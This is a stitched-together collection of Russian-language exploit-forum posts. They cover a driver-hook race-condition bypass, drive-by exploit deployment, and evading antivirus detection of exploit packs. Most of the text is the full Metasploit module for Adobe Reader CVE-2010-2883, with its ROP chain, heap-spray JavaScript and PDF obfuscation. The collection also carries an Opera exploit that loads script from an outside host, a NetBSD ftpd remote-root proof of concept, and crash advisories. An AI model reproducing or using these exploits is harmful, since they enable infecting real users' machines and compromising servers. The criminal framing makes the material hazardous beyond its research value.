mov ObjAttr.pSecurityDescriptor,eax
mov ObjAttr.pSecurityQualityOfService,eax
mov ObjAttr.pObjectName,offset SectionNameU
invoke ZwProtectVirtualMemory, NtCurrentProcess, addr RegionBase, addr RegionSize, PAGE_READWRITE or PAGE_GUARD, addr OldProtect
invoke ZwOpenSection, addr SectionHandle, SECTION_MAP_READ, addr ObjAttr
Секция успешно открывается.
2. Создание обьекта. Передаём в сервис инвалидный описатель(хэндл) обьекта, при этом открываем обьект из другого треда. Операция должна быть выполнена синхронно с небольшой задержкой. Референс на обьекте возвратит STATUS_INVALID_HANDLE :
Code:Copy to clipboard
xMakeTemporaryObject():
if ObReferenceObjectByHandle() = FALSE
NtMakeTemporaryObject()
ret
fi
...
В это время второй тред открывает обьект и описатель становится валидным. Оригинальный сервис будет вызван с валидным описателем.
3. Аналогично п.2, но передаётся не описатель обьекта, а его имя. Сервис NtLoadDriver() :
Code:Copy to clipboard
xLoadDriver():
if QueryImagePath() = FALSE
NtLoadDriver()
fi
ret
QueryImagePath() читает из ключа реестра имя модуля:
Code:Copy to clipboard
QueryImagePath():
if NtOpenKey() = FALSE
Result = FALSE
ret
fi
...
Result = TRUE
ret
Если ключа нет, то вызывается оригинальный сервис. В это время второй тред создаёт ключ. Что приводит к загрузке дрова. Ключи должны формироваться вручную, а не менеджером сервисов(SCM).
Используя этот принцип можно выполнить и на другие сервисы атаку.
Всем привет. Меня заинтересовали методы, которыми пользуются Java эксплойты -
Trust и OBE.
Дампы расковырять я расковырял, да вот только после декомпиляции и последующей
сборки сплойт перестает работать. Кроме того возникают проблемы в частности с
трастом - как задать в качестве пакета url? В декомпилировнном сорце он
прописывается как
pakage http:..<dec_ip>/exploit.class
Но собираться такая строка упорно не желает.
Еще мне попался материал о том, что надо подписывать jar (для отдельно лежащих
классов видимо не актуально). Видимо это ближе к OBE.
Знаю что у Exmanoize в Элеоноре траст реализован вообще как пхп файло, то есть
компилируется на лету как то или нет?
Буду благодарен за инфу. Да и тема интересная остальным имхо.
есть дамп tcp трафика (tcpdump), от которого падает браузер
в трафике ничего лишнего, только web: request and response
тело страницы сжато gzip'ом
страница подтягивает кучу элементов
возникла проблема эмуляции трафика, может кто подскажет методы и утилиты, что б воспроизвести баг
По числу эксплуатируемых уязвимостей программа Adobe Acrobat Reader является одной из самых «дырявых» и, в тоже время, наиболее популярной у злоумышленников. Атаки с использованием уязвимостей в приложениях Adobe для проведения client-side атак уже давно стали трендом. В прошлый раз о громкой 0-day уязвимости мы писали летом. Недавно у злоумышленников появился новый повод для творчества.
В четверг был обнародован очередной 0-day для Adobe Reader (CVE-2010-2883). На этот раз виноватой оказалась библиотека CoolType.dll, которая отвечает за парсинг True Type Font. Уязвимость проявляется при обработке шрифта с неправильной SING таблицей. При обработке вызывается небезопасная сишная функция strcat(), которая при определенных условиях приводит к переполнению стека.
Первым человеком, кто обратил внимание на вредоносный JS/Exploit.Pdfka.OFZ (9c5cd8f4a5988acae6c2e2dce563446a), эксплуатирующий эту уязвимость, была Mila Parkour. Благодаря ее усилиям правильные люди обратили внимание на JS/Exploit.Pdfka.OFZ и разобрались в чем дело.
А сэмпл оказался действительно интересным и, судя по всему, он уже с конца августа находился, что называется, ITW. Непонятно, почему в Adobe до сих пор использует небезопасные функции. Судя по всему, в компании рассчитывали на опции компилятора /GS и /SAFESEH, с которыми была скомпилирована библиотека CoolType.dll. Для обхода всех этих неприятностей, связанных с DEP, и прочего SAFESEH используется техника ROP, а вот чтобы обойти ASLR был найден модуль icucnv36.dl, так же за авторством Adobe и не скомпилированный с опцией /DYNAMICBASE. Именно в этот модуль мы попадаем при выполнении ROP цепочки, размещенной в памяти посредством проведенной атаки heap-spray:
Далее используется цепочка вызовов WinAPI функций, при помощи которых выполняется вредоносная программа.
Интересно, что «дропнутый» из pdf-файла исполняемый файл (Win32/TrojanDownloader.Small.OZS) имеет легальную цифровую подпись:
Сертификат действует до конца октября и, вероятно, поэтому злоумышленники решили использовать его именно сейчас. Игры с подписанными вредоносными файлами мы уже наблюдали при атаке червя Win32/Stuxnet. «Дропнутый» модуль представляет собой динамическую библиотеку, маскирующуюся под cpl и имеет следующие импортируемые функции:
StartUP — скачивает с _http://acad***house.us/from/wincrng.exe и запускает
этот файл (Win32/TrojanDownloader.Small.OZS)
IsAdmin — проверяет наличие административных привилегий в системе
DeleteMyself — создает bat-файл, который удаляет этот исполняемый модуль
из системы
MakeAndShowEgg - перезапускает Adobe Reader
Для этой уязвимости достаточно оперативно появился эксплойт для Metasploit, который так же использует heap-spray для размещения ROP и последующей эксплуатации.
Вчера появилось сообщение от Адоба об новой уязвимости в Acrobat/Reader. И сразу появился сплойт в метасплойте.
Уязвимые версии
<= 9.3.4
Описание
Проблема заключается в неправильном парсинге таблицы "SING" при обработке
TrueType фонтов, конкретнее поля uniqueName, которое используется в
небезопасном strcat. Уязвимость была обнаружена itw.
Патча пока нет
Источники
Адвизори от Адоба -
http://www.adobe.com/support/security/advi.../apsa10-02.html
Пост в блоге метасплойта - [http://blog.metasploit.com/2010/09/return-...shed-
adobe.html](http://blog.metasploit.com/2010/09/return-of-unpublished-
adobe.html)
Эксплойт -
https://www.metasploit.com/redmine/projects...ooltype_sing.rb
Куча инфы, в том числе сэмплы -
[http://contagiodump.blogspot.com/2010/09/c...int-
lesson.html](http://contagiodump.blogspot.com/2010/09/cve-david-leadbetters-
one-point-lesson.html)
Исследование уязвимости - http://www.vupen.com/blog/
Ещё один ресерч от вебсенсов -
[http://community.websense.com/blogs/securi...-2010-2883.aspx](http://community.websense.com/blogs/securitylabs/archive/2010/09/10/brief-
analysis-on-adobe-reader-sing-table-parsing-vulnerability-cve-2010-2883.aspx)
Сплойт из Metasploit на всякий )
Code:Copy to clipboard
##
# $Id$
##
##
# This file is part of the Metasploit Framework and may be subject to
# redistribution and commercial restrictions. Please see the Metasploit
# Framework web site for more information on licensing and terms of use.
# http://metasploit.com/framework/
##
require 'msf/core'
require 'zlib'
class Metasploit3 < Msf::Exploit::Remote
Rank = NormalRanking
include Msf::Exploit::FILEFORMAT
def initialize(info = {})
super(update_info(info,
'Name' => 'Adobe CoolType SING Table "uniqueName" Stack Buffer Overflow',
'Description' => %q{
This module exploits a vulnerability in the Smart INdependent Glyplets (SING) table
handling within versions 8.2.4 and 9.3.4 of Adobe Reader. Prior version are
assumed to be vulnerable as well.
},
'License' => MSF_LICENSE,
'Author' =>
[
'Unknown', # 0day found in the wild
'@sn0wfl0w', # initial analysis
'@vicheck', # initial analysis
'jduck' # Metasploit module
],
'Version' => '$Revision$',
'References' =>
[
[ 'CVE', '2010-2883' ],
[ 'OSVDB', '67849'],
[ 'URL', 'http://contagiodump.blogspot.com/2010/09/cve-david-leadbetters-one-point-lesson.html' ],
[ 'URL', 'http://www.adobe.com/support/security/advisories/apsa10-02.html' ]
],
'DefaultOptions' =>
{
'EXITFUNC' => 'process',
'InitialAutoRunScript' => 'migrate -f'
},
'Payload' =>
{
'Space' => 1000,
'BadChars' => "\x00",
'DisableNops' => true
},
'Platform' => 'win',
'Targets' =>
[
# Tested OK via Adobe Reader 9.3.4 on Windows XP SP3 -jjd
[ 'Automatic', { }],
],
'DisclosureDate' => 'Sep 07 2010',
'DefaultTarget' => 0))
register_options(
[
OptString.new('FILENAME', [ true, 'The file name.', 'msf.pdf']),
], self.class)
end
def exploit
ttf_data = make_ttf()
js_data = make_js(payload.encoded)
# Create the pdf
pdf = make_pdf(ttf_data, js_data)
print_status("Creating '#{datastore['FILENAME']}' file...")
file_create(pdf)
end
def make_ttf
ttf_data = ""
# load the static ttf file
# NOTE: The 0day used Vera.ttf (785d2fd45984c6548763ae6702d83e20)
path = File.join( Msf::Config.install_root, "data", "exploits", "cve-2010-2883.ttf" )
fd = File.open( path, "rb" )
ttf_data = fd.read(fd.stat.size)
fd.close
# Build the SING table
sing = ''
sing << [
0, 1, # tableVersionMajor, tableVersionMinor (0.1)
0xe01, # glyphletVersion
0x100, # embeddingInfo
0, # mainGID
0, # unitsPerEm
0, # vertAdvance
0x3a00 # vertOrigin
].pack('vvvvvvvv')
# uniqueName
# "The uniqueName string must be a string of at most 27 7-bit ASCII characters"
sing << "A" * (0x254 - sing.length)
# 0xffffffff gets written here @ 0x7001400 (in BIB.dll)
sing[0x140, 4] = [0x08231060 - 0x1c].pack('V')
# This becomes our new EIP (puts esp to stack buffer)
ret = 0x81586a5 # add ebp, 0x794 / leave / ret
sing[0x208, 4] = [ret].pack('V')
# This becomes the new eip after the first return
ret = 0x806c57e
sing[0x18, 4] = [ret].pack('V')
# This becomes the new esp after the first return
esp = 0x0c0c0c0c
sing[0x1c, 4] = [esp].pack('V')
# Without the following, sub_801ba57 returns 0.
sing[0x24c, 4] = [0x6c].pack('V')
ttf_data[0xec, 4] = "SING"
ttf_data[0x11c, sing.length] = sing
#File.open("/tmp/woop.ttf", "wb") { |fd| fd.write(ttf_data) }
ttf_data
end
def make_js(encoded_payload)
# The following executes a ret2lib using BIB.dll
# The effect is to bypass DEP and execute the shellcode in an indirect way
stack_data = [
0xc0c0c0c,
0x7004919, # pop ecx / pop ecx / mov [eax+0xc0],1 / pop esi / pop ebx / ret
0xcccccccc,
0x70048ef, # xchg eax,esp / ret
0x700156f, # mov eax,[ecx+0x34] / push [ecx+0x24] / call [eax+8]
0xcccccccc,
0x7009084, # ret
0x7009084, # ret
0x7009084, # ret
0x7009084, # ret
0x7009084, # ret
0x7009084, # ret
0x7009033, # ret 0x18
0x7009084, # ret
0xc0c0c0c,
0x7009084, # ret
0x7009084, # ret
0x7009084, # ret
0x7009084, # ret
0x7009084, # ret
0x7009084, # ret
0x7009084, # ret
0x7009084, # ret
0x7001599, # pop ebp / ret
0x10124,
0x70072f7, # pop eax / ret
0x10104,
0x70015bb, # pop ecx / ret
0x1000,
0x700154d, # mov [eax], ecx / ret
0x70015bb, # pop ecx / ret
0x7ffe0300, # -- location of KiFastSystemCall
0x7007fb2, # mov eax, [ecx] / ret
0x70015bb, # pop ecx / ret
0x10011,
0x700a8ac, # mov [ecx], eax / xor eax,eax / ret
0x70015bb, # pop ecx / ret
0x10100,
0x700a8ac, # mov [ecx], eax / xor eax,eax / ret
0x70072f7, # pop eax / ret
0x10011,
0x70052e2, # call [eax] / ret -- (KiFastSystemCall - VirtualAlloc?)
0x7005c54, # pop esi / add esp,0x14 / ret
0xffffffff,
0x10100,
0x0,
0x10104,
0x1000,
0x40,
# The next bit effectively copies data from the interleaved stack to the memory
# pointed to by eax
# The data copied is:
# \x5a\x90\x54\x90\x5a\xeb\x15\x58\x8b\x1a\x89\x18\x83\xc0\x04\x83
# \xc2\x04\x81\xfb\x0c\x0c\x0c\x0c\x75\xee\xeb\x05\xe8\xe6\xff\xff
# \xff\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\xff\xff\xff\x90
0x700d731, # mov eax, [ebp-0x24] / ret
0x70015bb, # pop ecx / ret
0x9054905a,
0x700154d, # mov [eax], ecx / ret
0x700a722, # add eax, 4 / ret
0x70015bb, # pop ecx / ret
0x5815eb5a,
0x700154d, # mov [eax], ecx / ret
0x700a722, # add eax, 4 / ret
0x70015bb, # pop ecx / ret
0x18891a8b,
0x700154d, # mov [eax], ecx / ret
0x700a722, # add eax, 4 / ret
0x70015bb, # pop ecx / ret
0x8304c083,
0x700154d, # mov [eax], ecx / ret
0x700a722, # add eax, 4 / ret
0x70015bb, # pop ecx / ret
0xfb8104c2,
0x700154d, # mov [eax], ecx / ret
0x700a722, # add eax, 4 / ret
0x70015bb, # pop ecx / ret
0xc0c0c0c,
0x700154d, # mov [eax], ecx / ret
0x700a722, # add eax, 4 / ret
0x70015bb, # pop ecx / ret
0x5ebee75,
0x700154d, # mov [eax], ecx / ret
0x700a722, # add eax, 4 / ret
0x70015bb, # pop ecx / ret
0xffffe6e8,
0x700154d, # mov [eax], ecx / ret
0x700a722, # add eax, 4 / ret
0x70015bb, # pop ecx / ret
0x909090ff,
0x700154d, # mov [eax], ecx / ret
0x700a722, # add eax, 4 / ret
0x70015bb, # pop ecx / ret
0x90909090,
0x700154d, # mov [eax], ecx / ret
0x700a722, # add eax, 4 / ret
0x70015bb, # pop ecx / ret
0x90909090,
0x700154d, # mov [eax], ecx / ret
0x700a722, # add eax, 4 / ret
0x70015bb, # pop ecx / ret
0x90ffffff,
0x700154d, # mov [eax], ecx / ret
0x700d731, # mov eax, [ebp-0x24] / ret
0x700112f # call eax -- (execute stub to transition to full shellcode)
].pack('V*')
var_unescape = rand_text_alpha(rand(100) + 1)
var_shellcode = rand_text_alpha(rand(100) + 1)
var_start = rand_text_alpha(rand(100) + 1)
var_s = 0x10000
var_c = rand_text_alpha(rand(100) + 1)
var_b = rand_text_alpha(rand(100) + 1)
var_d = rand_text_alpha(rand(100) + 1)
var_3 = rand_text_alpha(rand(100) + 1)
var_i = rand_text_alpha(rand(100) + 1)
var_4 = rand_text_alpha(rand(100) + 1)
payload_buf = ''
payload_buf << stack_data
payload_buf << encoded_payload
escaped_payload = Rex::Text.to_unescape(payload_buf)
js = %Q|
var #{var_unescape} = unescape;
var #{var_shellcode} = #{var_unescape}( '#{escaped_payload}' );
var #{var_c} = #{var_unescape}( "%" + "u" + "0" + "c" + "0" + "c" + "%u" + "0" + "c" + "0" + "c" );
while (#{var_c}.length + 20 + 8 < #{var_s}) #{var_c}+=#{var_c};
#{var_b} = #{var_c}.substring(0, (0x0c0c-0x24)/2);
#{var_b} += #{var_shellcode};
#{var_b} += #{var_c};
#{var_d} = #{var_b}.substring(0, #{var_s}/2);
while(#{var_d}.length < 0x80000) #{var_d} += #{var_d};
#{var_3} = #{var_d}.substring(0, 0x80000 - (0x1020-0x08) / 2);
var #{var_4} = new Array();
for (#{var_i}=0;#{var_i}<0x1f0;#{var_i}++) #{var_4}[#{var_i}]=#{var_3}+"s";
|
js
end
def RandomNonASCIIString(count)
result = ""
count.times do
result << (rand(128) + 128).chr
end
result
end
def ioDef(id)
"%d 0 obj \n" % id
end
def ioRef(id)
"%d 0 R" % id
end
#http://blog.didierstevens.com/2008/04/29/pdf-let-me-count-the-ways/
def nObfu(str)
#return str
result = ""
str.scan(/./u) do |c|
if rand(2) == 0 and c.upcase >= 'A' and c.upcase <= 'Z'
result << "#%x" % c.unpack("C*")[0]
else
result << c
end
end
result
end
def ASCIIHexWhitespaceEncode(str)
result = ""
whitespace = ""
str.each_byte do |b|
result << whitespace << "%02x" % b
whitespace = " " * (rand(3) + 1)
end
result << ">"
end
def make_pdf(ttf, js)
#swf_name = rand_text_alpha(8 + rand(8)) + ".swf"
xref = []
eol = "\n"
endobj = "endobj" << eol
# Randomize PDF version?
pdf = "%PDF-1.5" << eol
pdf << "%" << RandomNonASCIIString(4) << eol
# catalog
xref << pdf.length
pdf << ioDef(1) << nObfu("<<") << eol
pdf << nObfu("/Pages ") << ioRef(2) << eol
pdf << nObfu("/Type /Catalog") << eol
pdf << nObfu("/OpenAction ") << ioRef(11) << eol
pdf << nObfu(">>") << eol
pdf << endobj
# pages array
xref << pdf.length
pdf << ioDef(2) << nObfu("<<") << eol
pdf << nObfu("/MediaBox ") << ioRef(3) << eol
pdf << nObfu("/Resources ") << ioRef(4) << eol
pdf << nObfu("/Kids [") << ioRef(5) << "]" << eol
pdf << nObfu("/Count 1") << eol
pdf << nObfu("/Type /Pages") << eol
pdf << nObfu(">>") << eol
pdf << endobj
# media box
xref << pdf.length
pdf << ioDef(3)
pdf << "[0 0 595 842]" << eol
pdf << endobj
# resources
xref << pdf.length
pdf << ioDef(4)
pdf << nObfu("<<") << eol
pdf << nObfu("/Font ") << ioRef(6) << eol
pdf << ">>" << eol
pdf << endobj
# page 1
xref << pdf.length
pdf << ioDef(5) << nObfu("<<") << eol
pdf << nObfu("/Parent ") << ioRef(2) << eol
pdf << nObfu("/MediaBox ") << ioRef(3) << eol
pdf << nObfu("/Resources ") << ioRef(4) << eol
#pdf << nObfu("/MediaBox [0 0 640 480]")
#pdf << "<<"
#if true
# pdf << nObfu("/ProcSet [ /PDF /Text ]") << eol
# pdf << nObfu("/Font << /F1 ") << ioRef(8) << nObfu(">>") << eol
#end
#pdf << nObfu(">>") << eol # end resources
pdf << nObfu("/Contents [") << ioRef(8) << nObfu("]") << eol
#pdf << nObfu("/Annots [") << ioRef(7) << nObfu("]") << eol
pdf << nObfu("/Type /Page") << eol
pdf << nObfu(">>") << eol # end obj dict
pdf << endobj
# font
xref << pdf.length
pdf << ioDef(6) << nObfu("<<") << eol
pdf << nObfu("/F1 ") << ioRef(7) << eol
pdf << ">>" << eol
pdf << endobj
# ttf object
xref << pdf.length
pdf << ioDef(7) << nObfu("<<") << eol
pdf << nObfu("/Type /Font") << eol
pdf << nObfu("/Subtype /TrueType") << eol
pdf << nObfu("/Name /F1") << eol
pdf << nObfu("/BaseFont /Cinema") << eol
#pdf << nObfu("/FirstChar 0")
#pdf << nObfu("/LastChar 255")
pdf << nObfu("/Widths []") << eol
#256.times {
# pdf << "%d " % rand(256)
#}
#pdf << "]" << eol
pdf << nObfu("/FontDescriptor ") << ioRef(9)
pdf << nObfu("/Encoding /MacRomanEncoding")
#pdf << nObfu("/FontBBox [-177 -269 1123 866]")
#pdf << nObfu("/FontFile2 ") << ioRef(9)
pdf << nObfu(">>") << eol
pdf << endobj
# page content
content = "Hello World!"
content = "" +
"0 g" + eol +
"BT" + eol +
"/F1 32 Tf" + eol +
#" 10 10 Td" + eol +
"32 Tc" + eol +
"1 0 0 1 32 773.872 Tm" + eol +
#"2 Tr" + eol +
"(" + content + ") Tj" + eol +
"ET"
xref << pdf.length
pdf << ioDef(8) << "<<" << eol
pdf << nObfu("/Length %s" % content.length) << eol
pdf << ">>" << eol
pdf << "stream" << eol
pdf << content << eol
pdf << "endstream" << eol
pdf << endobj
# font descriptor
xref << pdf.length
pdf << ioDef(9) << nObfu("<<")
pdf << nObfu("/Type/FontDescriptor/FontName/Cinema")
pdf << nObfu("/Flags %d" % (2**2 + 2**6 + 2**17))
pdf << nObfu("/FontBBox [-177 -269 1123 866]")
pdf << nObfu("/FontFile2 ") << ioRef(10)
pdf << nObfu(">>") << eol
pdf << endobj
# ttf stream
xref << pdf.length
pdf << ioDef(10) << nObfu("<</Length %s /Length1 %s>>" % [ttf.length, ttf.length]) << eol
pdf << "stream" << eol
pdf << ttf << eol
pdf << "endstream" << eol
pdf << endobj
# js action
xref << pdf.length
pdf << ioDef(11) << nObfu("<<")
pdf << nObfu("/Type/Action/S/JavaScript/JS ") + ioRef(12)
pdf << nObfu(">>") << eol
pdf << endobj
# js stream
xref << pdf.length
compressed = Zlib::Deflate.deflate(ASCIIHexWhitespaceEncode(js))
pdf << ioDef(12) << nObfu("<</Length %s/Filter[/FlateDecode/ASCIIHexDecode]>>" % compressed.length) << eol
pdf << "stream" << eol
pdf << compressed << eol
pdf << "endstream" << eol
pdf << endobj
# trailing stuff
xrefPosition = pdf.length
pdf << "xref" << eol
pdf << "0 %d" % (xref.length + 1) << eol
pdf << "0000000000 65535 f" << eol
xref.each do |index|
pdf << "%010d 00000 n" % index << eol
end
pdf << "trailer" << eol
pdf << nObfu("<</Size %d/Root " % (xref.length + 1)) << ioRef(1) << ">>" << eol
pdf << "startxref" << eol
pdf << xrefPosition.to_s() << eol
pdf << "%%EOF" << eol
pdf
end
end
Здравствуйте, объясните пожалуйста один момент, как перенести tiff файл на
сайт для прогруза? когда делаю exploit на локалхосте браузер пробивается
успешно загружает исполняет файл из веба с помощью download_exec.
Как я думал, видать ошибочно, что, чтобы перенести сплойт на веб достаточно
будет слить .tiff файл туда и зайти по ссылке на него или же сделать ссыль с
html на него, но залив его браузер уже не пробивается
также пробовал всовывать исходник tiff в html
Интересный документ о поиске багов в MS Word / Office документах, используется
Ruby.
Metafuzz 0.9 Deep Fuzzing MS Word / Office (with Ruby)
http://www.sendspace.com/file/3bhulj
Fuzzing - технология тестирования программ и выявления ошибок, когда вместо ожидаемых входных данных программе передаются случайные, произвольные данные. Если программа зависает или завершает работу это считается нахождением дефекта в программе, который может привести к обнаружению уязвимости.
При наличии терпения и внимательности, можно найти новые 0-day баги..
Всем привет! Сегодня проводя тестирование одной одминки натолкнулся на одну
замечательную фишку. Вопщем запускал осла №8 под вин 7 и собирал даннные в том
числе об юзерагенте. Тестировал на локалке.
Представьте мое удивление, когда среди записей с агентом в виде ие8 неожиданно
начали появляться записи от ие7. Не поверил, почистил записи и протестировал
опять - то же самое - на первом старте передается агент от восьмой версии, а
на последующие от седьмой. Вот так.
Бытует мнение что так мелкомягкие спасаются от сплойтов под восьмерку, а может
переходят в режим совместимости со старой версией осла... У кого какие мнения?
Ведь если так поступает большинство браузеров, то имеет смысл пересматривать
алгоритмы выдачи связок...
вот про этот:
http://www.milw0rm.com/exploits/9233
написано что фейк
http://nezumi-lab.org/blog/?p=227
но есть
[http://www.avertlabs.com/research/blog/ind...-pdf-
documents/](http://www.avertlabs.com/research/blog/index.php/2009/07/22/new-0-day-
attacks-using-pdf-documents/)
интересуют ваши мнения
Тестировал данный сплойт http://milw0rm.com/exploits/9163
Почему пашет только под ие6 нормально. У кого нить получилось под ие7
запустить его?
Hello Friend.I need Root exploit For FreeBsd 7.1 I already downloaded this file.But gcc function not working in my server.If you have Freebsd server please make him to ready (gcc exploit.c -o exploit))Please If you can upload and give link in forum It's important for me.
Поделитесь кто этим экспом, обыскался уже.
Code:Copy to clipboard
<html>
<title>bb</title>
<script>
var z=null;
function x() {
window.setTimeout("z=window.open('opera:historysearch?q=%2A');window.focus();",1500);
window.setTimeout("z.close();",3000);
window.setTimeout("location.href='mailto:'",3000);
}
</script>
<body>
<a href="#<script src='http://www.raffon.net/research/opera/history/o.js'></script>" onclick="x()">Click me...</a>
</body>
</html>
<o.js>
s=document.createElement("IFRAME");
s.src="opera:config";
document.body.appendChild(s);
s.src="javascript:opera.setPreference('Mail','External Application','c:\\\\windows\\\\system32\\\\calc.exe');opera.setPreference('Mail','Handler','2');parent.window.close()";
</o.js>
только на загрузку и запуск
Интересно что сейчас бьет эти вещи? на ходу смог вспомнить только сие, знаю
что мдак всё еще бьет неплохо, а как насчет остального?
MS06-014, MS06-006, MS06-006, MS07-004, WVF Overflow, QuickTime Overflow,
WinZip Overflow, WebViewFolderIcon overflow, ANI overflow, Java/ByteVerify,
Java GIF File Parsing Memory Corruption, Yahoo! Messenger Webcam.
ЗЫ: перечислил напямять со взглдом на багтраки. кроме мдака сейчас реально что-то выжать?
Стоит Айс Пак, связка только МДАК РДС, под Ие 6, на самом деле пробив даже устраивает, но чекаю своим каспером саму связку нифига, а при заходе на индекс через браузер каспер Орет ( да и не только каспер ) кстати протестил связку на avcheck.биз 4 из 16 только видят. Что в таком случаи может палится ? кстати прочекал каспером каждый фаил в отдельности тоже все впорядке ! Кто поможет, может криптанет кто ? Просто я даже не пойму чего там криптануть надо.
LAMERZ!!!!!
KEEP ON HACKING!!! KEEP THAT FUCKING PRIVATE!!!
Greetings to the elite guys, thank you for your time.
signed,
eliteboy
$$$ NetBSD ftpd and ports Remote ROOOOOT $HOLE$ $$$
About
tnftpd is a port of the NetBSD FTP server to other systems.
It offers many enhancements over the traditional BSD ftpd,
including per-class configuration directives via ftpd.conf(5),
RFC 2389 and draft-ietf-ftpext-mlst-11 support, IPv6,
transfer rate throttling, and more.
tnftpd was formerly known as lukemftpd,
and earlier versions are present in Mac OS X 10.2 (as ftpd)
and FreeBSD 5.0 (as lukemftpd).
Description
The NetBSD ftpd and the tnftpd port suffer from a remote stack overrun,
which can lead to a root compromise.
The bug is in glob.c file. The globbing mechanism is flawed as back in
2001.
To trigger the overflow you can create a folder and use the globbing
special characters (like STARS) to overflow an internal stack based buffer.
Example PoC:
---snip---
use IO::Socket;
$sock = IO::Socket::INET->new(PeerAddr => '192.168.2.10',
PeerPort => '21',
Proto => 'tcp');
$c = "C";
$a = "C" x 255;
$d = "A" x 450;
print $sock "USER kcope\r\n";
print $sock "PASS remoteroot\r\n";
$x =
print $sock "MKD $a\r\n";
print $sock "NLST C*/../C*/../C*/../$d\r\n";
print $sock "QUIT\r\n";
while (<$sock>) {
print;
}
---snip---
gdb output tested on NetBSD 3.0 i386 NetBSD-ftpd 20050303 :
(gdb) c
Continuing.
Program received signal SIGSEGV, Segmentation fault.
0x00410041 in ?? ()
(gdb)
tnftpd-20040810 behaves similar.
FreeBSD (lukemftpd) and MacOSX (ftpd) were not tested,
however they could have the same bug, because of the same
codebase.
The problem when exploiting this kind of bug is,
that we can only control 0x00410041, not the whole
32 bit. However it looks feasible to find a way
to do a hole EIP redirection and/or exploit
the bug the "unicode" way, which could be especially
hard on BSD systems.
Outpost insufficiently protects its driver \Device\SandBox against a
manipulation by malicious applications and it fails
to validate its input buffer. It is possible to open this driver and send
arbitrary data to it, which are implicitly
believed to be valid. It is possible to assemble the data in the input buffer
such that the driver performs an invalid
memory operation and crashes the whole operating system. Further impacts of
this bug were not examined.
Vulnerable software:
·= Security Advisory =·
Issue: Local Heap OverFlow Vulnerability
in "Answering Service" of Icq.
Discovered Date: 09/08/2006
Author: Tal Argoni, LegendaryZion. [talargoni at gmail.com]
Product Vendor: http://www.Icq.com
Details:
Icq 2003 client is prone to a Local Heap OverFlow Vulnerability.
The vulnerability exists in "Answering Service" function,
because lack of boundary testing.
Usage:
Open the key: HKLM\Software\Mirabilis\ICQ\ICQPro\DefaultPrefs\Presets
Edit the value: AwayMsg Presets [#]
Add 501 bytes string value.
Open icq.
Change the away to the one you have audit above and the icq client crash.
Tested on Icq 2003b 3916
Thanks,
Tal Argoni, CEH
www.zion-security.com
-------------------------------------------------
Gotfault Security - Advisory #05 - 27/10/06
-------------------------------------------------
Software : Firefox
Homepage : http://www.mozilla.com/
Vulnerable : 1.5.0.7 and below, 2.0
Risk : Moderate
Impact : Denial of Services (Code execution not verified)
-------------------------------------------------
DESCRIPTION
-------------------------------------------------
Mozilla Firefox is prone to a D.O.S within its javascript Range object. In a
special condition, a NULL Pointer Deference occur and Firefox crashes.
From DOM MDC:
"The Range object represents a fragment of a document that can contain nodes
and parts of text nodes in a given document."
A Range object can be initialized using the selectNode method, that selects a
node to be inserted within a Range. A Range can also be used to create
document
fragments using the createContextualFragment method. Below is an example of
using such a method, from DOM MDC:
var tagString = "
As can be seen, a range is created using the createRange document method and
then is initialized using the selectNode method against some element within
the current document. At this point createContextualFragment can be used to
create document fragments, that can be inserted into the document.
Mozilla Firefox does not proper handle when a DOCUMENT_TYPE_NODE
(<!DOCTYPE...)
element is passed to selectNode method and trigger a NULL Pointer deference
when calling createContextualFragment method.
-------------------------------------------------
POC
-------------------------------------------------
This POC code crashes Mozilla Firefox:
--- snip ---
Good bye Firefox!
--- snip ---
-------------------------------------------------
POC details
-------------------------------------------------
In [1], we use the selectNode method agains document.firstNode, that in
this case is node. Then we use createContextualFragment
and Firefox crashes.
-------------------------------------------------
GDB session
-------------------------------------------------
Following is the GDB session registered in the crash moment, tested
agains Firefox 2.0 official release:
--- snip ---
barros at zaphod:~$ gdb /usr/lib/firefox/firefox-bin -q
(no debugging symbols found)
Using host libthread_db library "/lib/tls/libthread_db.so.1".
(gdb) at 16000
Attaching to program: /usr/lib/firefox-2.0RC3/firefox-bin, process 16000
...
...
0xb7502ce3 in poll () from /lib/tls/libc.so.6
(gdb) c
Continuing.
[Thread -1240372304 (LWP 16003) exited]
[Thread -1283585104 (LWP 16010) exited]
[New Thread -1283585104 (LWP 16018)]
[New Thread -1240372304 (LWP 16019)]
Program received signal SIGSEGV, Segmentation fault.
[Switching to Thread -1221409088 (LWP 16000)]
0x081d98ee in nsWritingIterator
(gdb) i r
eax 0x0 0
ecx 0x2cec7263 753693283
edx 0x95b55b8 156980664
ebx 0x1 1
esp 0xbf89f334 0xbf89f334
ebp 0xbf89f5b8 0xbf89f5b8
esi 0x0 0
edi 0x1 1
eip 0x81d98ee 0x81d98ee
eflags 0x10246 66118
cs 0x73 115
ss 0x7b 123
ds 0x7b 123
es 0x7b 123
fs 0x0 0
gs 0x33 51
(gdb) bt
#0 0x081d98ee in nsWritingIterator
#1 0x083b4d8f in nsReadingIterator
#2 0xb7ed339b in XPTC_InvokeByIndex () from /usr/lib/firefox/libxpcom_core.so
#3 0x080a6960 in nsTHashtable<nsBaseHashtableET<nsDepCharHashKey,
nsAutoPtrnsINIParser::INIValue > >::~nsTHashtable ()
#4 0x080ac53a in nsTHashtable<nsBaseHashtableET<nsDepCharHashKey,
nsAutoPtrnsINIParser::INIValue > >::~nsTHashtable ()
#5 0xb7f2fed6 in js_Invoke () from /usr/lib/firefox/libmozjs.so
#6 0xb7f3480d in js_Interpret () from /usr/lib/firefox/libmozjs.so
#7 0xb7f2ff91 in js_Invoke () from /usr/lib/firefox/libmozjs.so
#8 0xb7f30374 in js_InternalInvoke () from /usr/lib/firefox/libmozjs.so
#9 0xb7f0d854 in JS_CallFunctionValue () from /usr/lib/firefox/libmozjs.so
#10 0x0843dbb7 in nsReadingIterator
#11 0x0846b6d9 in nsReadingIterator
#12 0x083c9724 in nsReadingIterator
#13 0x083c9b4b in nsReadingIterator
#14 0x08442204 in nsReadingIterator
#15 0x0826f4e7 in XmlInitUnknownEncodingNS ()
#16 0x085902fa in nsXPTCVariant::Init ()
#17 0x0856d6d8 in nsXPTCVariant::Init ()
#18 0x0859003b in nsXPTCVariant::Init ()
#19 0x08574845 in nsXPTCVariant::Init ()
#20 0x08573fb7 in nsXPTCVariant::Init ()
#21 0x08573f0e in nsXPTCVariant::Init ()
#22 0x08573cc7 in nsXPTCVariant::Init ()
#23 0x0812dc8c in nsTHashtable<nsBaseHashtableET<nsDepCharHashKey,
nsAutoPtrnsINIParser::INIValue > >::~nsTHashtable ()
